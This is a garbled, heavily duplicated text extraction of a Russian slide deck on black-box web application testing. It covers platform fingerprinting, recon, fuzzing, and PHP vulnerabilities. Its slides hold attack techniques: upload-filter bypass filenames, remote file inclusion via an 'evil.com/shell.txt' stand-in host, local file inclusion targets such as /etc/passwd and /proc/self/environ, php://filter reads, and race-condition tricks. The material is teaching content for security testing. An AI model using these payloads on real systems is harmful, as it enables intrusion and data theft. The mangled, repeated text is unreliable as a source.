bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 13: Blackbox-тестирование веб-приложений

Распознавание платформbull Веб-серверы часто оставляют подпись в

HTTP-заголовке Serverbull Также есть специфичные запросы

например lsquoa=aampa[]=arsquo который вызывает ошибку 500 в Rack Server

bull Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (php aspx и т д)

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 14: Blackbox-тестирование веб-приложений

Распознавание платформ

bull Если определить конкретный используемый движок то с языком опять-таки всё будет ясно

bull Кроме того различным языкам свойственны различные способы приведения типов нормализации и кодирования данных

bull Например если PHP получит массив вместо строки и попытается его вывести через echo массив будет приведён к строке lsquoArrayrsquo

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL

Сбор информации

bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием

bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413

bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария

Сбор информацииbull Следующим шагом является получение списка

параметров веб-приложения (POST GET Cookie а также заголовки)

bull Их можно угадать исходя из структуры используемых на сайте ссылок

bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск

bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и

размерусодержимому HTTP-ответа

Быстрый fuzzing

bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)

bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя

bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта

Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для

black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество

получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление

универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-

инъекции а также различные виды иных инъекций кода

Быстрый fuzzing

bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д

bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack

bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)

Уязвимости PHP

bull Почему PHP

Почему ломаем PHP

bull Низкий порог вхождения много глупых кодеров с низкопробным кодом

bull Запутанный язык с месивом различным парадигм

bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами

bull bull PROFIT

lt=$question[0]

bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))

header(Location loginphp)require_once includesadminphphellip

lt=$answer[0]

bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к

административному интерфейсуbull Для этого удобно задать в Burp Suite

правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo

lt=$question[1]

bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])

readfile($file)

lt=$answer[1]

bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===

bull Это означает что == влечёт приведение типов что приводит к неожиданностям

php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать

запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+

lt=$question[2]

bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)

lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее

очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла

bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)

bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf

Загрузка файлов

bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли

bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками

Загрузка файлов

bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$

bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis

bull Black-listing расширений htaccess testphp3 не соответствуют php$i

bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)

Загрузка файлов

bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is

bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is

bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp

bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780

Загрузка файлов

bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif

bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329

File inclusion

bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов

bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода

bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL

bull Поэтому разделяют Local File Inclusion и Remote File Inclusion

File inclusion

bull Чтение file_get_contents readfile highlight_file fopen и т д

bull Подключение include(_once) require(_once) и т д

bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On

bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp

RFI

bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data

bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt

bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport

bull Потенциально возможно исполнение произвольного кода например через обёртку expect

LFI

bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp

bull С префиксом pathfilebull С постфиксом pathfile00

pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию

LFI

bull Что подключать Ищем загрузку документов аватаров и т д

bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись

bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd

Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть

phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()

состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым

bull См httpsrdotorgforumshowthreadphpt=1134

Трюки

bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать

bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName

_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями

PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt

Трюки

bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл

bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp

bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом

bull См httpsrdotorgforumshowthreadphpt=926

Трюкиbull Заметим что трудности могут возникнуть при

включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл

не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что

будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и

allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58

Десериализация вкратце

bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python

bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при

десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)

Десериализация вкратце

bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа

bull Часто для этого используется __destruct()bull См

httpsrdotorgforumshowthreadphpt=950

Трюки

bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742

bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited

Заключение

bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups

documentation coding testing researchbull Надеюсь узнали и запомнили что-то

полезное

Спасибо за внимание

adminahackrubechedincsecurityru

  • Секреты чёрного ящика
  • Кто я
  • Чёрный ящик
  • Black box
  • Чёрный ящик = Black box
  • Анализ защищённости
  • Почему black box
  • План
  • Первые шаги
  • Первые шаги (2)
  • Первые шаги (3)
  • Главные идеи
  • Распознавание платформ
  • Распознавание платформ (2)
  • Распознавание платформ (3)
  • Распознавание платформ (4)
  • Сбор информации
  • Сбор информации (2)
  • Сбор информации (3)
  • Сбор информации (4)
  • Сбор информации (5)
  • Быстрый fuzzing
  • Быстрый fuzzing (2)
  • Быстрый fuzzing (3)
  • Уязвимости PHP
  • Почему ломаем PHP
  • lt=$question[0]
  • lt=$answer[0]
  • lt=$question[1]
  • lt=$answer[1]
  • lt=$question[2]
  • lt=$answer[2]
  • Загрузка файлов
  • Загрузка файлов (2)
  • Загрузка файлов (3)
  • Загрузка файлов (4)
  • File inclusion
  • File inclusion (2)
  • RFI
  • LFI
  • LFI (2)
  • Трюки
  • Трюки (2)
  • Трюки (3)
  • Трюки (4)
  • Десериализация вкратце
  • Десериализация вкратце (2)
  • Трюки (5)
  • Заключение
  • Спасибо за внимание
Page 15: Blackbox-тестирование веб-приложений

Распознавание платформ

bull Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML-содержимом

bull Атрибут csrfmiddlewaretoken в формах ndashпризнак Django framework

bull Cookie-идентификатор _someprojectname_sess ndash признак Ruby on Rails framework

bull Cookie-идентификатор mojolicious ndash признак Perl-фреймворка Mojolicious

Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt

CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию

установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS

(например у Bitrix)bull Часто название CMS написано в атрибуте generator

HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla

dle_root =gt DataLife Engine wp-content =gt WordPress и т д

Сбор информации

bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip

bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip

bull Перебор файлов и директорий по словарю

Сбор информации

bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql

bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым

Сбор информации

bull Анализ веб-приложения часто осложняется использованием технологий web 20

bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных

bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)

